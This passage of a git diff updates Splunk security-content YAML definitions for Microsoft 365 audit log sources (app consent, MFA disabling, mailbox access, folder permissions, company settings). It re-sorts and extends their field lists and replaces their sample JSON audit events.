- record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -82,12 +80,18 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-05T21:05:31", "Id": "5822e126-1fbc-4269-9ad6-4c1879cdbcf3", "Operation": "Consent to application.", "OrganizationId": "9c00a473-1b2c-4bc2-9215-84df3f57aee5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "95106c0e-3519-450e-8e38-7f326d873454", "UserId": "attacker@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"AppId\":\"95106c0e-3519-450e-8e38-7f326d873454\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "ConsentContext.IsAdminConsent", "NewValue": "True", "OldValue": ""}, {"Name": "ConsentContext.IsAppOnly", "NewValue": "False", "OldValue": ""}, {"Name": "ConsentContext.OnBehalfOfAll", "NewValue": "True", "OldValue": ""}, {"Name": "ConsentContext.Tags", "NewValue": "", "OldValue": ""}, {"Name": "ConsentAction.Permissions", "NewValue": "[] => [[Id: r2KtIS6Zn0q2wWeqbIputLSZcc5Sj_NGtUtP2B3pYeI, ClientId: 21ad62af-992e-4a9f-b6c1-67aa6c8a6eb4, PrincipalId: , ResourceId: ce7199b4-8f52-46f3-b54b-4fd81de961e2, ConsentType: AllPrincipals, Scope: User.Read, CreatedDateTime: , LastModifiedDateTime ]]; ", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "95106c0e-3519-450e-8e38-7f326d873454", "OldValue": ""}], "Actor": [{"ID": "attacker@contoso.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "9c00a473-1b2c-4bc2-9215-84df3f57aee5", "InterSystemsId": "e0fb6206-12db-4fdf-bf52-699b254124d3", "IntraSystemId": "897d35e6-e2dc-455e-ba65-e6d58adae01f", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_21ad62af-992e-4a9f-b6c1-67aa6c8a6eb4", "Type": 2}, {"ID": "21ad62af-992e-4a9f-b6c1-67aa6c8a6eb4", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "TestApp2", "Type": 1}, {"ID": "95106c0e-3519-450e-8e38-7f326d873454", "Type": 2}, {"ID": "95106c0e-3519-450e-8e38-7f326d873454", "Type": 4}], "TargetContextId": "9c00a473-1b2c-4bc2-9215-84df3f57aee5"}' +example_log: | + {"CreationTime": "2023-10-18T20:28:48", "Id": "38aa106b-a4a5-4c47-93a1-e8d35c149f37", "Operation": "Consent to application.", "OrganizationId": "29b345e7-26bd-432b-9470-7d6b5f59113e", "RecordType": 8, "ResultStatus": "Success", "UserKey": "10032002CC029AE9@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "7693eab0-dc8b-48ad-9721-cebaf79c828a", "UserId": "victim@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"EvoSTS\",\"AppId\":\"7693eab0-dc8b-48ad-9721-cebaf79c828a\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "ConsentContext.IsAdminConsent", "NewValue": "False", "OldValue": ""}, {"Name": "ConsentContext.IsAppOnly", "NewValue": "False", "OldValue": ""}, {"Name": "ConsentContext.OnBehalfOfAll", "NewValue": "False", "OldValue": ""}, {"Name": "ConsentContext.Tags", "NewValue": "WindowsAzureActiveDirectoryIntegratedApp", "OldValue": ""}, {"Name": "ConsentAction.Permissions", "NewValue": "[] => [[Id: AAAAAAAAAAAAAAAAAAAAALSZcc5Sj_NGtUtP2B3pYeI2veRXIpdKSpcpcgPY4Aty, ClientId: 00000000-0000-0000-0000-000000000000, PrincipalId: 57e4bd36-9722-4a4a-9729-7203d8e00b72, ResourceId: ce7199b4-8f52-46f3-b54b-4fd81de961e2, ConsentType: Principal, Scope: Files.Read Files.Read.All Files.Read.Selected Files.ReadWrite Files.ReadWrite.All Files.ReadWrite.AppFolder Files.ReadWrite.Selected User.Read, CreatedDateTime: , LastModifiedDateTime ]]; ", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "7693eab0-dc8b-48ad-9721-cebaf79c828a", "OldValue": ""}], "Actor": [{"ID": "victim@contoso.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}, {"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "29b345e7-26bd-432b-9470-7d6b5f59113e", "InterSystemsId": "4ccb846d-e346-4bd7-ab5e-eb3c3dbd8cd9", "IntraSystemId": "69d3c4db-4723-49d2-981d-38238c3d95ec", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_49f7c1e3-ef0f-469f-b813-3913d41d653c", "Type": 2}, {"ID": "49f7c1e3-ef0f-469f-b813-3913d41d653c", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Bad App", "Type": 1}, {"ID": "7693eab0-dc8b-48ad-9721-cebaf79c828a", "Type": 2}, {"ID": "7693eab0-dc8b-48ad-9721-cebaf79c828a", "Type": 4}], "TargetContextId": "29b345e7-26bd-432b-9470-7d6b5f59113e"} diff --git a/data_sources/o365_disable_strong_authentication_.yml b/data_sources/o365_disable_strong_authentication_.yml index b18af0076e..43e6c21b8a 100644 --- a/data_sources/o365_disable_strong_authentication_.yml +++ b/data_sources/o365_disable_strong_authentication_.yml @@ -1,8 +1,8 @@ name: O365 Disable Strong Authentication. id: 235381c4-382a-4183-b818-a51c3ce12187 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the disabling of strong authentication (e.g., multi-factor authentication) for a user or group in Microsoft 365, including details about the affected accounts and the action initiator. mitre_components: @@ -24,71 +24,69 @@ fields: - ActorIpAddress - Actor{}.ID - Actor{}.Type + - additionalDetails + - app + - authentication_service - AzureActiveDirectoryEventType - ClientIP + - command - CreationTime + - dest + - dest_name + - dvc + - event_type + - extended_properties + - extendedAuditEventCategory - ExtendedProperties{}.Name - ExtendedProperties{}.Value + - host - Id + - index - InterSystemsId - IntraSystemId + - linecount + - modified_properties + - modified_properties_name + - modified_properties_new_value - ModifiedProperties{}.Name - ModifiedProperties{}.NewValue - ModifiedProperties{}.OldValue + - object + - object_id - ObjectId - Operation - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - additionalDetails - - app - - authentication_service - - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_name - - dvc - - event_type - - extendedAuditEventCategory - - extended_properties - - host - - index - - linecount - - object - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status - - timeendpos - - timestartpos + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id + - timestamp - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"Actor": [{"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}, {"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "", "AzureActiveDirectoryEventType": 1, "ClientIP": "", "CreationTime": "2020-12-15T22:35:20", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "Id": "a5aea9c5-b879-495a-b764-119b2bd54d80", "InterSystemsId": "9d18b521-23df-4130-99e2-1ff2eee13333", "IntraSystemId": "7d96ab40-6e16-48e5-bf78-677c89683775", "ModifiedProperties": [{"Name": "StrongAuthenticationRequirement", "NewValue": "[]", "OldValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 0,\r\n \"RememberDevicesNotIssuedBefore\": \"2020-12-15T20:47:57+00:00\"\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationRequirement", "OldValue": ""}], "ObjectId": "rodsoto@rodsoto.onmicrosoft.com", "Operation": "Disable Strong Authentication.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "10037FFEA938FB92@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"}' +example_log: | + {"Actor": [{"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}, {"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "", "AzureActiveDirectoryEventType": 1, "ClientIP": "", "CreationTime": "2020-12-15T22:35:20", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "Id": "a5aea9c5-b879-495a-b764-119b2bd54d80", "InterSystemsId": "9d18b521-23df-4130-99e2-1ff2eee13333", "IntraSystemId": "7d96ab40-6e16-48e5-bf78-677c89683775", "ModifiedProperties": [{"Name": "StrongAuthenticationRequirement", "NewValue": "[]", "OldValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 0,\r\n \"RememberDevicesNotIssuedBefore\": \"2020-12-15T20:47:57+00:00\"\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationRequirement", "OldValue": ""}], "ObjectId": "rodsoto@rodsoto.onmicrosoft.com", "Operation": "Disable Strong Authentication.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "10037FFEA938FB92@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"} diff --git a/data_sources/o365_mailitemsaccessed.yml b/data_sources/o365_mailitemsaccessed.yml index ba8649b87b..25ef77f53c 100644 --- a/data_sources/o365_mailitemsaccessed.yml +++ b/data_sources/o365_mailitemsaccessed.yml @@ -1,8 +1,8 @@ name: O365 MailItemsAccessed id: 3d5188eb-341a-4b46-9caa-aade4047d027 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs access to mailbox items in Microsoft 365, including details about the user accessing the items, the accessed content, and the method of access. mitre_components: @@ -20,19 +20,46 @@ supported_TA: version: 6.1.1 fields: - _time + - app - AppId + - authentication_service + - client_info_str - ClientAppId - - ClientIPAddress - ClientInfoString + - ClientIP + - ClientIPAddress + - ClientProcessName + - ClientRequestId + - ClientVersion + - command - CreationTime + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dest_name + - dvc - ExternalAccess + - Folders{}.FolderItems{}.ClientRequestId - Folders{}.FolderItems{}.InternetMessageId - Folders{}.FolderItems{}.SizeInBytes - Folders{}.Id - Folders{}.Path + - host - Id + - index - InternalLogonType - IsThrottled + - Item.Id + - Item.ParentFolder.Id + - Item.ParentFolder.Name + - Item.ParentFolder.Path + - linecount - LogonType - LogonUserSid - MailAccessType @@ -46,45 +73,38 @@ fields: - OrganizationId - OrganizationName - OriginatingServer + - punct + - record_type - RecordType + - result - ResultStatus - - UserId - - UserKey - - UserType - - Version - - Workload - - app - - authentication_service - - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dvc - - host - - index - - linecount - - punct + - SessionId - signature - source - sourcetype - splunk_server + - src + - src_ip - status + - tenant_id - timeendpos - timestartpos - user + - user_agent - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2024-02-01T16:07:34", "Id": "9cef02e9-4bfa-4c73-be7d-9dad68b9cea8", "Operation": "MailItemsAccessed", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 50, "ResultStatus": "Succeeded", "UserKey": "100320030DF47B14", "UserType": 0, "Version": 1, "Workload": "Exchange", "UserId": "user15@splunkresearch.onmicrosoft.com", "AppId": "47629505-c2b6-4a80-adb1-9b3a3d233b7b", "ClientAppId": "47629505-c2b6-4a80-adb1-9b3a3d233b7b", "ClientIPAddress": "120.1.121.35", "ClientInfoString": "Client=WebServices;ExchangeWebServicesProxy/CrossSite/EXCH/15.20.7249.024/python-requests/2.25.1[AppId=47629505-c2b6-4a80-adb1-9b3a3d233b7b];", "ExternalAccess": false, "InternalLogonType": 0, "LogonType": 0, "LogonUserSid": "S-1-5-21-1148582062-3132321681-773847816-49307764", "MailboxGuid": "7cfcc8fc-0d4a-4e1c-9592-dbb3de1e3859", "MailboxOwnerSid": "S-1-5-21-1148582062-3132321681-773847816-49307764", "MailboxOwnerUPN": "user15@splunkresearch.onmicrosoft.com", "OperationProperties": [{"Name": "MailAccessType", "Value": "Bind"}, {"Name": "IsThrottled", "Value": "False"}], "OrganizationName": "splunkresearch.onmicrosoft.com", "OriginatingServer": "CH0PR18MB5530 (15.20.4200.000)\r\n", "Folders": [{"FolderItems": [{"InternetMessageId": "", "SizeInBytes": 44329}, {"InternetMessageId": "", "SizeInBytes": 44304}, {"InternetMessageId": "", "SizeInBytes": 44572}, {"InternetMessageId": "", "SizeInBytes": 245068}], "Id": "LgAAAAC0AxwgOj/BRq9Bs1bhMPw/AQDh+UNSDzeHSLWfq+fr83BDAAAAAAEMAAAB", "Path": "\\Inbox"}], "OperationCount": 4}' +example_log: | + {"CreationTime": "2024-02-01T16:09:50", "Id": "6b939c77-cd6d-43a3-9c9f-fc6919909f93", "Operation": "MailItemsAccessed", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 50, "ResultStatus": "Succeeded", "UserKey": "QB42NZNNXG0KTTF2", "UserType": 0, "Version": 1, "Workload": "Exchange", "UserId": "user20@splunkresearch.onmicrosoft.com", "AppId": "47629505-c2b6-4a80-adb1-9b3a3d233b7b", "ClientAppId": "47629505-c2b6-4a80-adb1-9b3a3d233b7b", "ClientIPAddress": "120.1.121.35", "ClientInfoString": "Client=WebServices;ExchangeWebServicesProxy/CrossSite/EXCH/15.20.7249.024/python-requests/2.25.1[AppId=47629505-c2b6-4a80-adb1-9b3a3d233b7b];", "ExternalAccess": false, "InternalLogonType": 0, "LogonType": 0, "LogonUserSid": "S-1-5-21-1148582062-3132321681-773847816-49307435", "MailboxGuid": "cfe5bb8d-f836-41e9-8d63-dbbd35ee09d9", "MailboxOwnerSid": "S-1-5-21-1148582062-3132321681-773847816-49307435", "MailboxOwnerUPN": "user20@splunkresearch.onmicrosoft.com", "OperationProperties": [{"Name": "MailAccessType", "Value": "Bind"}, {"Name": "IsThrottled", "Value": "False"}], "OrganizationName": "splunkresearch.onmicrosoft.com", "OriginatingServer": "CH0PR18MB5530 (15.20.4200.000)\r\n", "Folders": [{"FolderItems": [{"InternetMessageId": "", "SizeInBytes": 44329}, {"InternetMessageId": "", "SizeInBytes": 44304}, {"InternetMessageId": "", "SizeInBytes": 44572}, {"InternetMessageId": "", "SizeInBytes": 245068}], "Id": "LgAAAAC0AxwgOj/BRq9Bs1bhMPw/AQDh+UNSDzeHSLWfq+fr83BDAAAAAAEMAAAB", "Path": "\\Inbox"}], "OperationCount": 10} diff --git a/data_sources/o365_modifyfolderpermissions.yml b/data_sources/o365_modifyfolderpermissions.yml index 40683dcd19..cf1fcc5e42 100644 --- a/data_sources/o365_modifyfolderpermissions.yml +++ b/data_sources/o365_modifyfolderpermissions.yml @@ -1,8 +1,8 @@ name: O365 ModifyFolderPermissions id: 0a8c1080-68c2-46d7-8324-2e7d97bb6e2f -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs modifications to folder permissions in Microsoft 365, including updates to access levels, user assignments, and sharing settings. mitre_components: @@ -20,44 +20,20 @@ supported_TA: version: 6.1.1 fields: - _time - - AppId - - ClientIP - - ClientIPAddress - - ClientInfoString - - CreationTime - - ExternalAccess - - Id - - InternalLogonType - - Item.Id - - Item.ParentFolder.Id - - Item.ParentFolder.MemberRights - - Item.ParentFolder.MemberSid - - Item.ParentFolder.MemberUpn - - Item.ParentFolder.Name - - Item.ParentFolder.Path - - LogonType - - LogonUserSid - - MailboxGuid - - MailboxOwnerSid - - MailboxOwnerUPN - - Operation - - OrganizationId - - OrganizationName - - OriginatingServer - - RecordType - - ResultStatus - - SessionId - - UserId - - UserKey - - UserType - - Version - - Workload - action - app + - AppId - authentication_service - change_type - client_info_str + - ClientInfoString + - ClientIP + - ClientIPAddress + - ClientProcessName + - ClientRequestId + - ClientVersion - command + - CreationTime - dataset_name - date_hour - date_mday @@ -71,16 +47,38 @@ fields: - dest_name - dvc - eventtype + - ExternalAccess - host + - Id - index + - InternalLogonType + - Item.Id + - Item.ParentFolder.Id + - Item.ParentFolder.MemberRights + - Item.ParentFolder.MemberSid + - Item.ParentFolder.MemberUpn + - Item.ParentFolder.Name + - Item.ParentFolder.Path - linecount + - LogonType + - LogonUserSid + - MailboxGuid + - MailboxOwnerSid + - MailboxOwnerUPN - object - object_attrs - object_category - object_id + - Operation + - OrganizationId + - OrganizationName + - OriginatingServer - punct - record_type + - RecordType - result + - ResultStatus + - SessionId - signature - source - sourcetype @@ -97,12 +95,18 @@ fields: - user_agent - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-07T18:19:07", "Id": "ff065c17-e638-4013-20ab-08dbafceeca1", "Operation": "ModifyFolderPermissions", "OrganizationId": "e17879dd-24ec-44a6-be92-9dcbf6969220", "RecordType": 2, "ResultStatus": "Succeeded", "UserKey": "10032002CC029AE9", "UserType": 0, "Version": 1, "Workload": "Exchange", "ClientIP": "22.23.21.25", "UserId": "user1@contoso.onmicrosoft.com", "AppId": "00000002-0000-0ff1-ce00-000000000000", "ClientIPAddress": "22.23.21.25", "ClientInfoString": "Client=OWA;Action=ViaProxy", "ExternalAccess": false, "InternalLogonType": 0, "LogonType": 0, "LogonUserSid": "S-1-5-21-1148582062-3132321681-773847816-45339891", "MailboxGuid": "8e942cc1-73d8-4483-9def-7d9579d615a7", "MailboxOwnerSid": "S-1-5-21-1148582062-3132321681-773847816-45339891", "MailboxOwnerUPN": "user1@contoso.onmicrosoft.com", "OrganizationName": "contoso.onmicrosoft.com", "OriginatingServer": "BYAPR18MB2728 (15.20.4200.000)\r\n", "SessionId": "d2a5a3ba-992b-431a-9b52-8c76210d17d9", "Item": {"Id": "LgAAAABKe+NY5HVjRYWDqaJ5IKKFAQBQ11dzmT6LS6bQbkNDtISsAAAAAAEMAAAB", "ParentFolder": {"Id": "LgAAAABKe+NY5HVjRYWDqaJ5IKKFAQBQ11dzmT6LS6bQbkNDtISsAAAAAAEMAAAB", "MemberRights": "FreeBusySimple", "MemberSid": "S-1-1-0", "MemberUpn": "Everyone", "Name": "Inbox", "Path": "\\Inbox"}}}' +example_log: | + {"CreationTime": "2024-03-29T17:57:58", "Id": "ddf699c8-3af5-40b6-ec3c-08dc5019c477", "Operation": "ModifyFolderPermissions", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 2, "ResultStatus": "Succeeded", "UserKey": "100320030DF47B14", "UserType": 0, "Version": 1, "Workload": "Exchange", "ClientIP": "120.1.121.43", "UserId": "user15@splunkresearch.com", "AppId": "00b41c95-dab0-4487-9791-b9d2c32c80f2", "ClientIPAddress": "120.1.121.43", "ClientInfoString": "Client=WebServices;python-requests/2.25.1;", "ExternalAccess": false, "InternalLogonType": 0, "LogonType": 0, "LogonUserSid": "S-1-5-21-1148582062-3132321681-773847816-49307764", "MailboxGuid": "7cfcc8fc-0d4a-4e1c-9592-dbb3de1e3859", "MailboxOwnerSid": "S-1-5-21-1148582062-3132321681-773847816-49307764", "MailboxOwnerUPN": "user15@splunkresearch.com", "OrganizationName": "splunkresearch.com", "OriginatingServer": "MN2PR18MB3053 (15.20.4200.000)\r\n", "SessionId": "8cdbf96a-3133-4d0d-a68e-7d7a883b8f8f", "Item": {"Id": "LgAAAAC0AxwgOj/BRq9Bs1bhMPw/AQDh+UNSDzeHSLWfq+fr83BDAAAAAAEMAAAB", "ParentFolder": {"Id": "LgAAAAC0AxwgOj/BRq9Bs1bhMPw/AQDh+UNSDzeHSLWfq+fr83BDAAAAAAEMAAAB", "MemberRights": "FreeBusySimple", "MemberSid": "S-1-1-0", "MemberUpn": "Everyone", "Name": "Inbox", "Path": "\\Inbox"}}} diff --git a/data_sources/o365_set_company_information_.yml b/data_sources/o365_set_company_information_.yml index f73672008b..a0a76ab03b 100644 --- a/data_sources/o365_set_company_information_.yml +++ b/data_sources/o365_set_company_information_.yml @@ -1,8 +1,8 @@ name: O365 Set Company Information. id: 06c6d576-f032-41e3-b15d-80a434ce13d8 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs updates to organizational settings and company information in Microsoft 365, including changes to contact details, branding, and configuration policies. mitre_components: @@ -20,83 +20,82 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - ActorIpAddress - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - ClientIP - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type + - ClientIP - command + - CreationTime - dataset_name - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_name - dvc - event_type - eventtype - - extendedAuditEventCategory - extended_properties + - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - modified_properties + - modified_properties_name + - modified_properties_new_value + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue + - obj_id - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId - tag - tag::eventtype - - timeendpos - - timestartpos + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id + - timestamp - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"Actor": [{"ID": "bpatel@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "100320010208B5DC", "Type": 3}, {"ID": "User_425b75db-38be-4c7b-a474-5f0709247370", "Type": 2}, {"ID": "425b75db-38be-4c7b-a474-5f0709247370", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "", "AzureActiveDirectoryEventType": 1, "ClientIP": "", "CreationTime": "2021-01-13T22:57:21", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "Company"}], "Id": "50a62783-f9d7-472c-9e44-f4f3d346e53c", "InterSystemsId": "6f435e84-e95b-44da-820f-2d2c9c237293", "IntraSystemId": "1163f0db-2241-4689-8486-b15c7812bbe0", "ModifiedProperties": [{"Name": "StrongAuthenticationPolicy", "NewValue": "[\r\n {\r\n \"RelyingPartyStrongAuthenticationPolicies\": [\r\n {\r\n \"RelyingParties\": [\r\n \"*\"\r\n ],\r\n \"Rules\": [\r\n {\r\n \"SelectionConditions\": [\r\n {\r\n \"Claim\": 1,\r\n \"Operator\": 0,\r\n \"Values\": [\r\n \"73.15.72.101/32\",\r\n \"66.176.252.11/32\"\r\n ]\r\n }\r\n ]\r\n }\r\n ],\r\n \"Enabled\": true\r\n }\r\n ]\r\n }\r\n]", "OldValue": "[\r\n {\r\n \"RelyingPartyStrongAuthenticationPolicies\": [\r\n {\r\n \"RelyingParties\": [\r\n \"*\"\r\n ],\r\n \"Rules\": [\r\n {\r\n \"SelectionConditions\": [\r\n {\r\n \"Claim\": 1,\r\n \"Operator\": 0,\r\n \"Values\": [\r\n \"73.15.72.101/32\",\r\n \"66.176.252.11/32\"\r\n ]\r\n }\r\n ]\r\n },\r\n {\r\n \"SelectionConditions\": [\r\n {\r\n \"Claim\": 2,\r\n \"Operator\": 0,\r\n \"Values\": [\r\n \"insidecorporatenetwork--true\"\r\n ]\r\n }\r\n ]\r\n }\r\n ],\r\n \"Enabled\": true\r\n }\r\n ]\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationPolicy", "OldValue": ""}], "ObjectId": "Company_0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Operation": "Set Company Information.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "Company_0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Type": 2}, {"ID": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "Type": 2}, {"ID": "Directory", "Type": 2}, {"ID": "Emergency Information Technology Services LLC", "Type": 1}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "bpatel@rodsoto.onmicrosoft.com", "UserKey": "100320010208B5DC@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"}' +example_log: | + {"Actor": [{"ID": "bpatel@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "100320010208B5DC", "Type": 3}, {"ID": "User_425b75db-38be-4c7b-a474-5f0709247370", "Type": 2}, {"ID": "425b75db-38be-4c7b-a474-5f0709247370", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "", "AzureActiveDirectoryEventType": 1, "ClientIP": "", "CreationTime": "2021-01-06T01:50:42", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "Company"}], "Id": "0446789a-4b8c-4a63-a425-b370df0524f6", "InterSystemsId": "f18836fb-fa5a-4476-864a-972215d182d6", "IntraSystemId": "8b498fc4-57ad-4a1e-87bd-d0846a19393f", "ModifiedProperties": [{"Name": "StrongAuthenticationPolicy", "NewValue": "[\r\n {\r\n \"RelyingPartyStrongAuthenticationPolicies\": [\r\n {\r\n \"RelyingParties\": [\r\n \"*\"\r\n ],\r\n \"Rules\": [\r\n {\r\n \"SelectionConditions\": [\r\n {\r\n \"Claim\": 1,\r\n \"Operator\": 0,\r\n \"Values\": [\r\n \"73.15.72.101/32\"\r\n ]\r\n }\r\n ]\r\n 